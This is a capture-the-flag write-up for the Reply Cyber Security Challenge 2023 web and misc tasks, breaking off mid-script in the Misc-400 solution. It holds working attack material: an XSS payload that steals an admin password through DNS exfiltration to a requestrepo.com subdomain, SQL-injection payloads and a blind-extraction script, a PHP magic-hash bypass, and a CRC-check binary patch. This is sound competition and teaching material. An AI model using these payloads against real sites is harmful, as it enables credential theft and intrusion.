Reply Cyber Security Challenge 2023

Web-500Web-400Web-300Web-200Web-100Misc-500Misc-400Misc-300Misc-200Misc-100Crypto-400Crypto-300Crypto-200Crypto-100Coding-500Coding-400Coding-300Coding-200Coding-100Binary-500Binary-400Binary-300Binary-200Binary-100

Web-500

Description

Becco Juniors FC

With the Link Fragment in hand, R-Boy is about to embark on the next stage when he realizes that the fragment is corrupted. He must act swiftly to overcome the remaining adversaries, or the fragment will be lost forever.

Solution

We are presented with a site of the Becco Juniors football team. It has a bunch of features including a shop, a live chat, user login and signup and watching livestreams.

From the start, the goal of the challenge seems to be to buy the Ultras Subscription, or at least get access to an account that has it. When we try to use the shop functionality, we notice that we cannot checkout as the feature is not implemented. But the cart is being preserved as part of a ?cart=<base64 data> parameter.

That made us look at the javascript code for the site to see how the parameter is generated:

    const queryString = window.location.search;
    const urlParams = new URLSearchParams(queryString);
    let cart = { ids: [] };
    try {
        var inputCart = JSON.parse(atob(urlParams.get("cart")))
        if (inputCart) {
            merge(cart, inputCart);
        }
    } catch (error) {
        cart = { ids: [] };
    }

    function isPrimitive(n) {
        return n === null || n === undefined || typeof n === 'string' || typeof n === 'boolean' || typeof n === 'number'
    }

    function merge(target, source) {
        let protectedKeys = ["__proto__", "mode", "version", "location", "src", "data", "m"]

        for (let key in source) {
            if (protectedKeys.includes(key)) continue

            if (isPrimitive(target[key])) {
                target[key] = sanitize(source[key])
            } else {
                merge(target[key], source[key])
            }
        }
    }

    function sanitize(data) {
        if (typeof data !== 'string') return data
        return data.replace(/[<>%&\$\s\\]/g, '_').replace(/script/gi, '_')
    }


    document.addEventListener("DOMContentLoaded", function () {
        const cartButtons = document.querySelectorAll(".btn-plus-product");

        cartButtons.forEach(function (button) {
            button.addEventListener("click", function (event) {
                event.preventDefault();

                const productId = button.getAttribute("data-product-id");
                const productIds = [productId];
                const cartData = { ids: productIds };
                const existingIds = cart.ids;
                const newIds = cartData.ids;
                const mergedIds = existingIds.concat(newIds);
                const encodedData = btoa(JSON.stringify({ ids: mergedIds }));

                const redirectURL = "/web5-6b3799be4300e44489a08090123f3842e6419da5/cart" + `?cart=${encodedData}`;
                window.location.href = redirectURL;
            });
        });
    });

We can see a bunch of filters that make us think of 2 things: prototype pollution and xss. The merge function is vulnerable to prototype pollution, but there are some mitigations that take place, namely we cannot set these keys for the object: ["__proto__", "mode", "version", "location", "src", "data", "m"]

We can bypass that by setting the constructor.prototype of the merged object, instead of setting __proto__ directly.

During the signup process we noticed that reCAPTCHA is being used to prevent mass creation of accounts. That is good for us, because there is a pretty well known prototype pollution gadget for reCAPTCHA: https://github.com/BlackFan/client-side-prototype-pollution/blob/master/gadgets/recaptcha.md

Which worked first try for us with the following payload: {"ids":["13"],"constructor":{"prototype":{"srcdoc":['<script>alert(1)</script>']}}} => we can pop an alert(1) when using the ?cart=eyJpZHMiOlsiMTMiXSwiY29uc3RydWN0b3IiOnsicHJvdG90eXBlIjp7InNyY2RvYyI6WyIgPHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0PiJdfX19 parameter. This apparently also bypasses the sanitize check, but sometimes just blindly testing is better than trying to statically analyze everything.

We can use the chat feature to send our payload to the admin:

We thought that it will be easy from now on, just exfiltrate the cookie via HTTP and be done with it. But oh no, the challenge just began:

  • When doing a request to our site, we would only receive the DNS request and no HTTP request (this was intended since all outgoing traffic except for DNS was forbidden)
  • The session is HTTP only and we cannot retrieve it

Well, the dns issue is not too bad, since we can use requestrepo.com to capture all DNS traffic to our subdomain, but we are limited in the amount of bytes we can exfil from the target (I went with ~20 bytes per request, since it was pretty easy to query the bot).

One thing that saves us here is that the password is actually in plain text in the /profile section, but hidden using JavaScript. As such, I built a payload that looked like this to exfiltrate the password using fetch + DNS exfil:

{"ids":["13"],"constructor":{"prototype":{"srcdoc":[" <script>fetch('/web5-6b3799be4300e44489a08090123f3842e6419da5/profile').then(response => response.text()).then(text => {     location='//X'+text.split('Password:')[1].split('</span>')[0].substr(22,99).split('').map(c=>c.charCodeAt(0).toString(16).padStart(2,'0')).join('').substr(0,32)+'.cras63mo.requestrepo.com/' ; }) </script>"]}}}

I went with hex based dns exfil since DNS doesn't really preserve case, and I added an X at the beginning to make sure I capture even empty exfils (since a fetch where the domain starts with . would fail).

As such, we can get the admin's password which is r:NYurr$N}Ri:c. Now we spent a bit of time trying to search for the username, as it's not in the /profile section, but we can actually see the admin's profile in the WebSockets responses:

42["message",{"username":"jacarrion","message":"I visited the link you sent! Where is the streaming?","image":"avatar_0.png"}]

So we can login as jacarrion / r:NYurr$N}Ri:c to get the flag, right?

Well, not yet. If we go to /media and try to watch the livestream, we get a blank video, and when we go to /static/videos/livestreaming.mp4 we get this: {"message": "This device is not associated with an Ultras Subscription."}

Which makes us think about a feature that we saw in Burp, but didn't pay much attention to it. It seems like we need to exfil the admin's fingerprint data (by querying /api/fingerprint , we can reuse the same technique as above) and we get this:

{"device_data":{"ip":"52.29.7.52","language":"en-US","mobile":false,"os":"Unknown","screen_height":600,"screen_width":800,"timezone":0,"user_agent":"!**GOBECCOJUNIORS**!","webdriver":true},"device_id":"a4b6a4da760e000eb288534fc1823cac15adfe65007bcb3b12dbf95dc979f920"}

There's one more thing, the data that is being sent to /api/fingerprint seems to be encrypted. There's a /static/js/device_obf.js that we need to reverse in order to find out how the encryption happens:


  // AES encryption taking place, with IV yvZUad5eQYRpU2HQ
  _0xb1643d()
  const _0x5d825b = CryptoJS.enc.Utf8.parse(_0x8a21d0)
  const _0x23fd1e = CryptoJS.enc.Utf8.parse('yvZUad5eQYRpU2HQ'),
    _0x37fa2c = CryptoJS.AES.encrypt(_0x5eee54, _0x5d825b, {
      iv: _0x23fd1e,
      mode: CryptoJS.mode.CBC,
    }).toString()
  return _0x37fa2c

function lolasd() { // the function that computes the AES key x@4w}^6H>MqP[S1!
  const _0x1a0826 = (function () {
      let _0x429d86 = true
      return function (_0x4d697a, _0x221ee0) {
        const _0x359abf = _0x429d86
          ? function () {
              if (_0x221ee0) {
                const _0x60e7c9 = _0x221ee0.apply(_0x4d697a, arguments)
                return (_0x221ee0 = null), _0x60e7c9
              }
            }
          : function () {}
        return (_0x429d86 = false), _0x359abf
      }
    })(),
    _0x12c43d = _0x1a0826(this, function () {
      return _0x12c43d
        .toString()
        .search("(((.+)+)+)+\u0024")
        .toString()
        .constructor(_0x12c43d)
        .search("(((.+)+)+)+\u0024")
    })
  _0x12c43d()
  const _0x279f2e = [64, 52, 119, 125, 94, 54, 72, 62, 77, 113, 80, 91, 83],
    _0x536d28 = String.fromCharCode(parseInt('170', 8)),
    _0xa1c80 = String.fromCharCode(..._0x279f2e)
  return _0x536d28 + _0xa1c80 + '1' + String.fromCharCode(parseInt('041', 8))
}

We can verify that it indeed works by decrypting our request + forging a new one:

from Crypto.Cipher import AES
import base64

cipher = AES.new(b'x@4w}^6H>MqP[S1!', AES.MODE_CBC, b'yvZUad5eQYRpU2HQ')

data = base64.b64decode('<OUR FINGERPRINT DATA>')

dec = cipher.decrypt(data)

print(dec)

data = {"timezone":0,"user_agent":"!**GOBECCOJUNIORS**!","language":"en-US","os":"Unknown","mobile":False,"webdriver":True,"screen_width":800,"screen_height":600, "ip":"52.29.7.52"}
import json
data = json.dumps(data).encode('utf-8')


#data = b'{"device_data":{"ip":"52.29.7.52","language":"en-US","mobile":false,"os":"Unknown","screen_height":600,"screen_width":800,"timezone":0,"user_agent":"!**GOBECCOJUNIORS**!","webdriver":true},"device_id":"a4b6a4da760e000eb288534fc1823cac15adfe65007bcb3b12dbf95dc979f920"}'

# pad using PKCS7
pad = 16 - len(data) % 16
data += bytes([pad]) * pad
print(data)

cipher = AES.new(b'x@4w}^6H>MqP[S1!', AES.MODE_CBC, b'yvZUad5eQYRpU2HQ')

enc = cipher.encrypt(data)
print(base64.b64encode(enc))

So we should just be able to POST this data to /api/fingerprint to be able to watch the livestream, but there's one more thing: the IP is not taken from the JSON.

Thankfully, to forge the IP we can just add a X-Forwarded-For header:

POST /web5-6b3799be4300e44489a08090123f3842e6419da5/api/fingerprint HTTP/1.1
Host: gamebox1.reply.it
Content-Length: 267
Content-Type: application/json
X-Forwarded-For: 52.29.7.52
Cookie: session=<SESSION COOKIE>
Connection: close

{"data":"0gjDrNT6J3t7OwaPqN0aiG9aycUIvoMv3okiWT3LEgX2+QRnyWJ2pDdRnYpFBbdcX5VGXdd/bd4RSjOAyqJXxkoGh9TOAJdr1zaA7FSQcB5/3/LTd5iT9mcZP4AeihxZ3cpSfhLHSPix6Q1bVJTzOnV518Rp35ZeTCs7b05F4kA5Gq5ugOm5rJ1MsyneNlLGx6v1MkQQKG991rN47KRopcXyc5okPg9lnSPkeMGctQWMiVQmdDyIYWVuEMCG/+TR"}

And the result:

{"device_data":{"ip":"52.29.7.52","language":"en-US","mobile":false,"os":"Unknown","screen_height":600,"screen_width":800,"timezone":0,"user_agent":"!**GOBECCOJUNIORS**!","webdriver":true},"device_id":"a4b6a4da760e000eb288534fc1823cac15adfe65007bcb3b12dbf95dc979f920"}

With that, we can now watch the livestream to get the flag!

Flag

{FLG:#D1v3ntaN0_C4TTiv1_i_B3cch1$}

Web-400

Description

Goats&Snakes

Winning the battle, R-Boy gains access to the palace and moves one step closer to his goal. Here, he is rewarded with the Link Fragment, a key element to completing his mission of becoming a Digital Knight.

Solution

We are given the source code of a Python application. From the website we can notice that we can create an account, but we cannot login until we register at a physical kiosk (because the password is randomly assigned to us, and we don't know the value).

This is the user model:

class User(UserMixin, db.Model):
    id = db.Column(db.Integer, primary_key=True)
    username = db.Column(db.String(64),unique=True,nullable=False)
    password = db.Column(db.String(64),nullable=False)
    email = db.Column(db.String(64),unique=True, nullable=False)
    phone = db.Column(db.String(16),nullable=False)
    token = db.Column(db.String(64),nullable=True)

And this is the user create method:

def createuser(name,surname,email,phone):
    username = "{}.{}.{}".format(name,surname,random.randint(1000,9999))
    passwd = hashlib.sha256(bytes(secrets.token_urlsafe(16),'utf-8')).hexdigest()
    if email == "" or len(username) > 64 or len(email)>64 or len(phone)> 16:
        return False
    try:
        newuser = User(username=username,
                       password=passwd,
                       email=email,
                       phone=phone)
        db.session.add(newuser)
        db.session.commit()
    except:
        return False
    return username

A keen observer would notice that the token is not being set when we create an account, and it's default will be None/Null (as it's set in the database). That means that we can actually recover our password by not supplying a token:

@app.route('/update_passwd_token', methods=['GET', 'POST'])
def update_passwd_token():
    try:
        if request.method == "POST":
            username = malicious_chars(request.form.get("username"))
            newpwd = request.form.get("password")
            token = request.form.get("token")
            user = User.query.filter_by(username=username).first()
            if user and user.token == token:
                return redirect(url_for('update_passwd_token', status=update_pwd(user, newpwd)))
            return redirect(url_for('update_passwd_token', error="Invalid Token or User"))
        return render_template('update_passwd.html')
    except:
        return render_template_string('Error in update_passwd_token')

We need to manually remove the &token= from the request:

POST /web4-1c1a2bce092184a2acfcd7ddbd00abffe1c0a587/update_passwd_token HTTP/1.1
Host: gamebox1.reply.it
Content-Length: 60
Connection: close

username=adragos.username.1337&password=mysecretpassword

=>

HTTP/1.1 302 FOUND
Server: nginx/1.22.1
Date: Sun, 15 Oct 2023 16:24:40 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 369
Connection: close
Location: /web4-1c1a2bce092184a2acfcd7ddbd00abffe1c0a587/update_passwd_token?status=Password+Updated!

And after login in we arrive at /auth/index.php, which is a .php site, different from the Python source.

In nav.js we find the following path:

$(document).ready(function () {
    // Array di oggetti per definire le sezioni del navbar
    var sections = [
        { title: "Becchi", url: "index.php", icon: "🐐" },
        { title: "Supplements", url: "supplements.php", icon: "💊" }
        // { title: "Make Becco Stronger", url: "mbs.php", icon: "💪" }
    ];

    // Funzione per generare il codice HTML delle sezioni del navbar
    function generateNavbarSections() {
        var html = "";
        for (var i = 0; i < sections.length; i++) {
            var section = sections[i];
            var activeClass = window.location.pathname === section.url ? "active" : "";
            html += '<li class="nav-item ' + activeClass + '">';
            html += '<a class="nav-link" href="' + section.url + '">' + section.icon + ' ' + section.title + '</a>';
            html += '</li>';
        }
        return html;
    }

    // Carica dinamicamente le sezioni del navbar
    $("#navbarList").html(generateNavbarSections());
});

mbs.php, which just redirects us to index.php, but if we watch the request in Burp we can see the following html response:

    <div class="card-body">
        <form id="myForm" action="power-becco.php" method="POST">
            <div class="form-group">
                <label for="select1">Goat</label>
                <select class="form-control" id="select1" name="becco">
                    <option value="Mr. Olympiagoat">Mr. Olympiagoat</option>
                    <option value="TrenGoat">TrenGoat</option>
                </select>
            </div>
            <div class="form-group">
                <label for="select2">Supplement</label>
                <select class="form-control" id="select2" name="supplement">
                    <option value="Trenbolone">Trenbolone</option>
                    <option value="Creatine">Creatine</option>
                </select>
            </div>
            <div class="form-group">
                <label for="select2">Developer Token</label>
                <input type="text" name="dev_token" class="form-control" placeholder="Developer Token"/>
            </div>
        </form>
    </div>

    ...

    <script>
        // Remember to improve MD5 & weak comparison on the back-end!!
        $.ajax({
            url: $("#myForm").attr("action"), 
            method: "POST", 
            data: $("#myForm").serialize(), 
            dataType: "json", 
    </script>

That comments makes us think of php magic hashes, we search one for php+md5 and we submit the following form to get the flag:

POST /web4-1c1a2bce092184a2acfcd7ddbd00abffe1c0a587/auth/power-becco.php HTTP/1.1
Host: gamebox1.reply.it
Cookie: goatoken=<SESSION COOKIE>
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 52

becco=TrenGoat&supplement=Creatine&dev_token=QLTHNDT

tldr the md5 hash of QLTHNDT is 0e405967825401955372549139051580 which loosely compares to 0 in php (because php)

Flag

{FLG: ZYZZ_ARNOLD_GOATS_FITNESS_CONNECTION}

Web-300

Description

Becco Card Clash

The battle with Polyglot is a dizzying clash to the last drop. R-Boy uses his cunning to identify a weakness in Polyglot's language. He exploits it, and with a series of well-placed commands, he manages to defeat him.

Solution

The website looks to be a portal for a Hearthstone-like game, with some extra features like the leaderboard, a non-functioning shop and a profile.

We quickly found out that there is a vulnerability in the leaderboard's search features by using payloads like ' and '2'='1 (no results) and ' or '1'='1 (all results).

The input was pretty filtered and we could not do a union based SQL injection, and the cards table was filtered as well. So we could only do 0/1 Blind based SQL injections. After some fiddling with the input, we discovered that we can access the password field from the main query, and when we input or own password in the WHERE query, we get back our user as the result (e.g. query ' OR password='ourpassword).

We can use that to leak the password of other users, there's a particular user which seems interesting: JeanKarlus Mannus the GOAT#uid (the uid part is actually part of the username, as the database instances were separated for each individual user as to not leak passwords, which is a good move :) ).

I wrote a quick binary search to get JeanKarlus's password:

import requests
import time

password = ''

def make_req(m):
    burp0_url = "http://gamebox1.reply.it:80/web3-22dea2262ffe964c0ad6e7f2c66262798103fe20/search"
    burp0_cookies = {"session": "<SESSION COOKIE>"}

    burp0_headers = {"Cache-Control": "max-age=0", "Upgrade-Insecure-Requests": "1", "Origin": "http://gamebox1.reply.it", "Content-Type": "application/x-www-form-urlencoded", "User-Agent": "<USER AGENT>", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer": "http://gamebox1.reply.it/web3-22dea2262ffe964c0ad6e7f2c66262798103fe20/leaderboard", "Accept-Encoding": "gzip, deflate, br", "Accept-Language": "en-GB,en-US;q=0.9,en;q=0.8", "Connection": "close"}
    burp0_data = {"csrf_token": "<CSRF TOKEN>",
                  "query": "' or (unicode(substr(password,%d,1))<%d and id > 2) or '1'='2" % (len(password) + 1, m)}
    r = requests.post(burp0_url, headers=burp0_headers, cookies=burp0_cookies, data=burp0_data, proxies={'http': 'http://127.0.0.1:8080'})
    time.sleep(1)
    return 'Mannus the GOAT' in r.text


while True:
    left, right = 0, 127

    while left <= right:
        mid = (left + right) // 2
        if make_req(mid):
            right = mid - 1
        else:
            left = mid + 1
        print(left, right)

    password += chr(right)
    print(password)

Now we can login as JeanKarlus Mannus the GOAT#uid / password (which should be 8 characters, lowercase letters + numbers).

From there we can donate a card to our account. But which card to donate? If we check the actual game we can see that JeanKarlus uses some cards like Nefarious Moloch, etc. But when we try to donate that card, we get this message: YOU THIEF! YOU CAN ONLY DONATE CARDS THAT ARE NOT ASSIGNED TO ANY PLAYER.

If we inspect the source code of the game, we see that the cards have assigned images like: /web3-22dea2262ffe964c0ad6e7f2c66262798103fe20/static/images/cards/16.png, with the last card being at 30.png, well what happens when we go to 31.png? We get this:

The Exodia of Goatstone!

We just need to donate Salamel the GOD of GOAT (without the S) to our account, and then we can easily win the game.

Flag

{FLG:%iL_B3ccO_&amp;_UN4_B3LlA_B3sT1A$}

Web-200

Description

The Last Fighting Goat

The palace of the Web Realm, a gleaming place called Hypercloud, is guarded by Polyglot, an amorphous being that travels through the ether at extraordinary speeds. Polyglot is an arcane guardian, with the ability to speak and understand all existing languages.

Solution

We are presented with an interesting looking website which resembles a sports betting site. The goal is to get 100 euros by betting on the fights, as we gain +10 euros when we win and -10 when we lose. Now, the odds are not too bad and we could probably solve this by just trying our luck, as there's a ~ 0.1% chance of obtaining the 100 euros by just randomly guessing 10 games in a row, and we could create multiple sessions to increase our chances (because each round took 1 minute). But that was not feasible as the betting required completing a reCAPTCHA challenge.

So we had to look elsewhere. We noticed a hidden parameter in the /hof page:

    <form hidden="true">
        <input name="year">
    </form>

Which was vulnerable to SQL injection!

POST /web2-3c91477fb7fb643fc15d090da43cb634f20f0ed7/hof HTTP/1.1
Host: gamebox1.reply.it
Cookie: UID=<UID>
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 55

year=' union select 1337,1337 from bets_hall_of_fame-- -

The result:

    <tr>
        <th scope="row">1</th>
        <td class="prize">1337</td>
        <td>€1337</td>
        <td>133</td>
    </tr>

As we had union based sql injection, we read the schema from the sqlite_schema (sqlite_master was filtered in the input, and we kinda knew that the backend was sqlite from the web-300 challenge):

year=' union select sql,1337 from sqlite_schema-- -

=>

<td class="prize">CREATE TABLE bets_hall_of_fame (
        uid text PRIMARY KEY,
        name text,
        money int,
        year text,
        CHECK(
            length("id") == 36
        )
)</td>

With that we can leak the uid's from the bets_hall_of_fame table with year=' union select uid,1337 from bets_hall_of_fame-- - to get a uid that would maybe have >= 100 euros OR access to the betting history feature.

POST /web2-3c91477fb7fb643fc15d090da43cb634f20f0ed7/bets_history HTTP/1.1
Host: gamebox1.reply.it
Content-Length: 19
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
Cookie: UID=<UID FROM THE DATABASE>
Connection: close

fight_id=1697230500

=>

    <tr>
        <th scope="row">2023-10-13T20:55:00+00:00</th>
        <td class="prize">hopeful ishizaka</td>
    </tr>
    
    <tr>
        <th scope="row">2023-10-13T20:54:00+00:00</th>
        <td class="prize">stupefied raman</td>
    </tr>
    
    <tr>
        <th scope="row">2023-10-13T20:53:00+00:00</th>
        <td class="prize">suspicious hofstadter</td>
    </tr>

With that we can just manually win 10 games in a row and claim our flag!

Flag

{FLG: I_4m_n0t_impressed_by_y0ur_perf0rm4nce}

Web-100

Description

Becco Buffet

R-Boy arrives in the Web Realm, a celestial domain comprised of floating islands in the digital sky. These highly interconnected islands create an intricate network resembling a spider's web. Here, energy flows swiftly, and R-Boy senses a strange energy.

Solution

We are tasked with the following game:

The goal is pretty clear, get 65536 points.

If we intercept the requests sent to the server, we can see that the client is actually making a call to the backend with the type of goat that it eats:

POST /web1-f1103cad4b0542c69e23b267e173799295c4f217/got-a-goat HTTP/1.1
Host: gamebox1.reply.it
Content-Length: 19
Cookie: session=<SESSION COOKIE>
Connection: close

type=green

And an example response:

HTTP/1.1 200 OK
Server: nginx/1.22.1
Date: Fri, 13 Oct 2023 17:34:35 GMT
Content-Type: application/json
Content-Length: 66
Connection: close
Vary: Cookie
Set-Cookie: session=<SESSION COOKIE>

{"negative_score":2000,"positive_score":10000,"total_score":8000}

If we repeat the requests a lot of times with type=green, at some point the total_score will overflow:

HTTP/1.1 200 OK
Server: nginx/1.22.1
Date: Fri, 13 Oct 2023 18:03:37 GMT
Content-Type: application/json
Content-Length: 64
Connection: close
Vary: Cookie
Set-Cookie: session=<SESSION COOKIE>

{"negative_score":0,"positive_score":102000,"total_score":3000}

We see that we are at +1000 over what we should be, which is interesting. I'm not exactly sure how the overflow is implemented, because we jump from 64000 total score (with positive score 64000) to -33000 (with positive score 66000). If we accumulate a high amount of positive score, then the added sum would fluctuate between 666 and 667, we got a bit lucky since we stopped at +666 and then started accumulating negative score, which when it overflowed it gave us the flag:

HTTP/1.1 200 OK
Server: nginx/1.22.1
Date: Fri, 13 Oct 2023 19:17:12 GMT
Content-Type: application/json
Content-Length: 68
Connection: close
Vary: Cookie
Set-Cookie: session=<SESSION COOKIE>

{"negative_score":64000,"positive_score":3864000,"total_score":666}

Eat another red goat =>

HTTP/1.1 200 OK
Server: nginx/1.22.1
Date: Fri, 13 Oct 2023 19:17:14 GMT
Content-Type: application/json
Content-Length: 98
Connection: close
Vary: Cookie
Set-Cookie: session=<SESSION COOKIE>

{"negative_score":66000,"positive_score":3864000,"total_score":"{FLG:y0U-aT3_700-mUch_B4D_GO4T}"}

The script that was used to automate the process:

session = requests.session()


for i in range(1000):
    burp0_url = "http://gamebox1.reply.it:80/web1-f1103cad4b0542c69e23b267e173799295c4f217/got-a-goat"
    burp0_cookies = {"session": "<SESSION COOKIE>"}
    burp0_headers = {"User-Agent": "<USER AGENT>", "Content-Type": "application/x-www-form-urlencoded", "Accept": "*/*", "Origin": "http://gamebox1.reply.it", "Referer": "http://gamebox1.reply.it/web1-f1103cad4b0542c69e23b267e173799295c4f217/", "Accept-Encoding": "gzip, deflate, br", "Accept-Language": "en-GB,en-US;q=0.9,en;q=0.8", "Connection": "close"}
    burp0_data = {"type": "red"}
    r = session.post(burp0_url, headers=burp0_headers, cookies=burp0_cookies, data=burp0_data, proxies={'http': 'http://127.0.0.1:8080'})
    print(r.text)

    time.sleep(2) # this is important as the game prevents us from eating goats too quickly

Flag

{FLG:y0U-aT3_700-mUch_B4D_GO4T}

Misc-500

Description

Acropalooza

With Nethra deactivated and Zer0 defeated, R-Boy is finally the Digital Knight he has always dreamed of being. His name will be sung in legends as a mentor to the next generation of hackers and programmers. His wisdom will be instrumental in protecting the digital world. All that's left is to celebrate it all with one last, but challenging, final test.

Solution

We get a utility for taking encrypted screenshots and cropping them. To make things a bit more challenging, the main functionality is in a native module, acrop.so. First, we want to get the password, and then we want to get the full (uncropped) screenshot.

This is the decompilation of the save function:

__int64 __fastcall save(AcropImage *a1, __int64 a2)
{
  __int16 info2; // [rsp+14h] [rbp-2Ch] BYREF
  __int16 info1; // [rsp+16h] [rbp-2Ah] BYREF
  _DWORD *password; // [rsp+18h] [rbp-28h] BYREF
  char *filename; // [rsp+20h] [rbp-20h] BYREF
  FILE *stream; // [rsp+28h] [rbp-18h]
  void *md5; // [rsp+30h] [rbp-10h]
  char *password_in_4; // [rsp+38h] [rbp-8h]

  if ( !(unsigned int)_PyArg_ParseTuple_SizeT(a2, "ss", &filename, &password) )
    return 0LL;
  password_in_4 = (char *)malloc(5uLL);
  *(_DWORD *)password_in_4 = *password;
  password_in_4[4] = 0;
  md5 = malloc(0x10uLL);
  md5String(password_in_4, md5);
  stream = fopen64(filename, "wb");
  if ( stream )
  {
    calculate_info(
      a1->pixels,
      a1->bmpwidth,
      (unsigned __int16)a1->bmpheight,
      a1->left,
      a1->top,
      a1->right,
      a1->bottom,
      &info1,
      &info2);
    write_file(a1, stream, md5, info1, info2);
    sub_37E9((__int64)a1, stream, (__int64)password_in_4);
    fclose(stream);
    free(md5);
    return sub_29BF(&Py_NoneStruct);
  }
  else
  {
    PyErr_SetString(PyExc_OSError, "Cannot open provided file.");
    return 0LL;
  }
}

It just takes the first 4 characters of the password - talk about secure encryption :))) And the MD5 of the password gets passed to write_file:

size_t __fastcall write_file(AcropImage *a1, FILE *a2, void *md5, __int16 a4, __int16 a5)
{
  __int16 v6[2]; // [rsp+0h] [rbp-30h] BYREF
  __int16 v7; // [rsp+4h] [rbp-2Ch] BYREF
  void *md5_1; // [rsp+8h] [rbp-28h]
  FILE *stream; // [rsp+10h] [rbp-20h]
  AcropImage *v10; // [rsp+18h] [rbp-18h]
  char varD[21]; // [rsp+23h] [rbp-Dh] BYREF

  v10 = a1;
  stream = a2;
  md5_1 = md5;
  v7 = a4;
  v6[0] = a5;
  strcpy(varD, "ACROPIMG2K23");
  writebytes(a2, varD, 0LL);
  write_offset_n(a2, &a1->bmpwidth, 18LL, 2);
  write_offset_n(a2, &a1->bmpheight, 0x14LL, 2);
  write_offset_n(a2, &a1->left, 0x16LL, 2);
  write_offset_n(a2, &a1->top, 24LL, 2);
  write_offset_n(a2, &a1->right, 26LL, 2);
  write_offset_n(a2, &a1->bottom, 28LL, 2);
  fseek(a2, 0x1ELL, 0);
  fwrite(md5_1, 1uLL, 0x10uLL, a2);
  fseek(a2, 46LL, 0);
  fwrite(&v7, 2uLL, 1uLL, a2);
  fseek(stream, 48LL, 0);
  return fwrite(v6, 2uLL, 1uLL, stream);
}

We see that the MD5 is written at offset 0x1E. Taking it from the Secret.acrp file (BB62DDEEC478A117B4088EDA899CA965) and plopping it into crackstation we get porc. We can write a simple extracting script:

import acrop
from PIL import Image

img = acrop.open("Secret.acrp", "porc")
image = Image.new('RGB', img.get_geometry())
width, height = image.size
p = img.get_pixels()
i = 0
for y in range(height):
    for x in range(width):
        image.putpixel((x, y), p[i])
        i += 1


image.save("haha.png")

All that's left is to get rid of the crop. As we saw in write_file, the offset of the bottom is stored at offset 0x1C (28). And surely, 970 is stored there. We increase it to 1079, as the screenshot itself is 1920x1080 and there seems to be some off-by-one fun. However, when we try to run our parser, we get the following error:

Traceback (most recent call last):
  File "meme.py", line 6, in <module>
    img = acrop.open("Secret.acrp", "porc")
RuntimeError: CRC check failed

A CRC check? That's nothing we can not easily patch out :) We get rid of both the CRC check and the GCRC check by changing the conditional jumps to uncoditional jmp:

Address	            Length	Original bytes	Patched bytes
0000000000004853	0x1	    74 	            EB
00000000000048B6	0x1	    74 	            EB

Now, we can just run our parser and recover the original screenshot:

Flag

{FLG:7hisACr0p4l00z4isForL00z4}

Misc-400

Description

Listen, you fools!

Seeing his secret weapon falter, Zer0 realizes that the tide of battle is turning against him. Within the corrupted code of the AI, R-Boy discovers an audio message hidden away—a message that can deactivate Nethra forever and defeat its creator. Only then can R-Boy obtain the final Fragment of Knowledge, the Fragment of Variability, and seal his destiny as the greatest hacker and knight of the Digital Realms.

Solution

We first recover the image drawn in the spectogram of the wav:

Which gives us:

ONE CODE TO RULE THEM ALL
https://upload.wikimedia.org/wikipedia/commons/b/b5/International_Morse_Code.svg

CAN YOU HEAR IT. PRECIOUS?

This hints on morse code. After a while, we find the morse code in the beginning of the wav:

Using this Python script we recover the morse code:

mrs = ""
with open("listen_you_fools.wav", "rb") as f:
    f.seek(0x40)
    while True:
        val = f.read(2)
        if val[1] == 0x7f and val[0] >= 0xFE:
            mrs += "1"
        elif val[1] == 0 and val[0] <= 1:
            mrs += "0"
        else:
            break
#print(mrs)
    #print(hex(f.tell()))
cur = '0'
len = 0
for c in mrs:
    if c == cur:
        len += 1
    else:
        #print("%dx %s" % (len, cur))
        if cur == '1':
            if len >= 3:
                print("-", end='')
            else:
                print(".", end='')
        else:
            if len >= 3:
                print("/", end='')
        len = 1
        cur = c

This gives us //-.-./---/.-../.-.././-.-./-//-/...././/.-../.../-...//../-.//.../.-/--/.--./.-.././...//.--/..../---/..././/../-./-.././-..-//../...//--/..-/.-../-/../.--./.-.././/---/..-.//. which is decoded to COLLECT THE LSB IN SAMPLES WHOSE INDEX IS MULTIPLE OF E.

Here we got stuck for a while, only to figure out that here the message differs between channels. After splitting them we get this message for the left channel: COLLECT THE LSB IN SAMPLES WHOSE INDEX IS MULTIPLE OF 5 OR ENDS WITH 3 GO FORWARD FROM BEGINNING TO END AND STOP AFTER YOU COLLECTED 176 SAMPLE

And this one for right: COLLECT THE LSB IN SAMPLES WHOSE INDEX IS MULTIPLE OF 7 OR ENDS WITH 4 GO BACKWARD FROM END TO BEGINNING AND STOP AFTER YOU COLLECTED 176 SAMPLE

So we write python script to do exactly that, for left channel:

import wave
import numpy as np

def print_lsb_from_wav(input_wav_file):
    # Open the input WAV file for reading
    with wave.open(input_wav_file, 'rb') as input_wav:
        # Get the sample width in bytes (e.g., 2 for 16-bit audio)
        sample_width = input_wav.getsampwidth()

        # Read the audio data as bytes
        audio_data = input_wav.readframes(-1)

        # Convert the audio data to a NumPy array
        audio_array = np.frombuffer(audio_data, dtype=np.int16)

        # Extract and print the LSB from each sample
        lsb_data = (audio_array & 1).astype(np.int16)
        
        for i,lsb_value in enumerate(lsb_data):
            if i % 5 == 0 or str(i)[-1] == "3":
                print(lsb_value,end="")
            if i > 176:
                break

if __name__ == "__main__":
    input_wav_file = "ch1.wav"

    print_lsb_from_wav(input_wav_file)

We get 011001010011000001011010010011010101001001111010011100000100100001001101010001000100001001101011010110000011000001100111011110100100111001001000010010010111100001100010011011011 which decodes base64, that decodes to {FLG:G00d_H34r1n.

For right channel we do the similar:

import wave
import numpy as np

def print_lsb_from_wav(input_wav_file):
    # Open the input WAV file for reading
    with wave.open(input_wav_file, 'rb') as input_wav:
        # Get the sample width in bytes (e.g., 2 for 16-bit audio)
        sample_width = input_wav.getsampwidth()

        # Read the audio data as bytes
        audio_data = input_wav.readframes(-1)

        # Convert the audio data to a NumPy array
        audio_array = np.frombuffer(audio_data, dtype=np.int16)

        # Extract and print the LSB from each sample
        lsb_data = (audio_array & 1).astype(np.int16)
        
        out = ""
        for i,lsb_value in enumerate(lsb_data):
           if i % 7 == 0 or str(i)[-1] == "4":
                out += str(lsb_value)
                #print(lsb_value,end="")

        for i,j in enumerate(out[::-1]):
            if i <= 176:
                print(j,end="")

if __name__ == "__main__":
